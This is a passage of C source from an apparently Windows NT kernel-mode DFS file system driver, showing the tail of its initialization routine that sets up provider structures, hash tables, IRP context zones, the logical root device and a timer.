    InitializeListHead( &DfsData.VcbQueue );
    InitializeListHead( &DfsData.DeletedVcbQueue );

    InitializeListHead( &DfsData.Credentials );
    InitializeListHead( &DfsData.DeletedCredentials );

    DfsData.DriverObject = DriverObject;
    DfsData.FileSysDeviceObject = DeviceObject;

    DfsData.LogRootDevName = UnicodeString;

    ExInitializeResource( &DfsData.Resource );
    KeInitializeEvent( &DfsData.PktWritePending, NotificationEvent, TRUE );
    KeInitializeSemaphore( &DfsData.PktReferralRequests, 1, 1 );

    DfsData.MachineState = DFS_CLIENT;

    //
    //  Allocate Provider structures.
    //

    DfsData.pProvider = ExAllocatePool( PagedPool,
                       sizeof ( PROVIDER_DEF ) * MAX_PROVIDERS);

    for (i = 0; i < MAX_PROVIDERS; i++) {
        DfsData.pProvider[i].NodeTypeCode = DSFS_NTC_PROVIDER;
        DfsData.pProvider[i].NodeByteSize = sizeof ( PROVIDER_DEF );
    }

    DfsData.cProvider = 0;
    DfsData.maxProvider = MAX_PROVIDERS;

    //
    //  Initialize the system wide PKT
    //

    PktInitialize(&DfsData.Pkt);

    {
    ULONG SystemSizeMultiplier;
    ULONG ZoneSegmentSize;

    switch (MmQuerySystemSize()) {
    default:
    case MmSmallSystem:
        SystemSizeMultiplier = 4;
        break;
    case MmMediumSystem:
        SystemSizeMultiplier = 8;
        break;

    case MmLargeSystem:
        SystemSizeMultiplier = 16;
        break;
    }

    //
    //  Allocate the DFS_FCB hash table structure.  The number of hash buckets
    //  will depend upon the memory size of the system.
    //

    Status = DfsInitFcbs(SystemSizeMultiplier * 2);

    //
    //  Now initialize the zone structures for allocating IRP context
    //  records.  The size of the zone will depend upon the memory
    //  available in the system.
    //

    KeInitializeSpinLock( &DfsData.IrpContextSpinLock );

    ZoneSegmentSize = (SystemSizeMultiplier *
               QuadAlign(sizeof(IRP_CONTEXT))) +
              sizeof(ZONE_SEGMENT_HEADER);

    (VOID) ExInitializeZone( &DfsData.IrpContextZone,
                 QuadAlign(sizeof(IRP_CONTEXT)),
                 FsRtlAllocatePool( NonPagedPool,
                            ZoneSegmentSize ),
                 ZoneSegmentSize );

    }

    //
    //  Set up global pointer to the system process.
    //

    DfsData.OurProcess = PsGetCurrentProcess();

    //
    //  Register the file system with the I/O system
    //

    IoRegisterFileSystem( DeviceObject );

    //
    //  Initialize the provider definitions from the registry.
    //

    if (!NT_SUCCESS( ProviderInit() )) {

        DfsDbgTrace(0,DEBUG_TRACE_ERROR,
               "Could not initialize some or all providers!\n", 0);

    }

    //
    // Initialize the logical roots device objects. These are what form the
    // link between the outside world and the Dfs driver.
    //

    Status = DfsInitializeLogicalRoot( DD_DFS_DEVICE_NAME, NULL, NULL, 0);

    if (!NT_SUCCESS(Status)) {
      DfsDbgTrace(-1, DEBUG_TRACE_ERROR, "Failed creation of root logical root %08lx\n", Status);
      return(Status);
    }

    //
    // Let us start off the Timer Routine.
    //

    RtlZeroMemory(&DfsTimerContext, sizeof(DFS_TIMER_CONTEXT));
    DfsTimerContext.InUse = FALSE;
    DfsTimerContext.TickCount = 0;
    IoInitializeTimer(DeviceObject, DfsIoTimerRoutine, &DfsTimerContext);
    DfsDbgTrace(0, Dbg, "Initialized the Timer routine\n", 0);

    //
    //  Let us start the timer now.
    //

    IoStartTimer(DeviceObject);

    return STATUS_SUCCESS;
}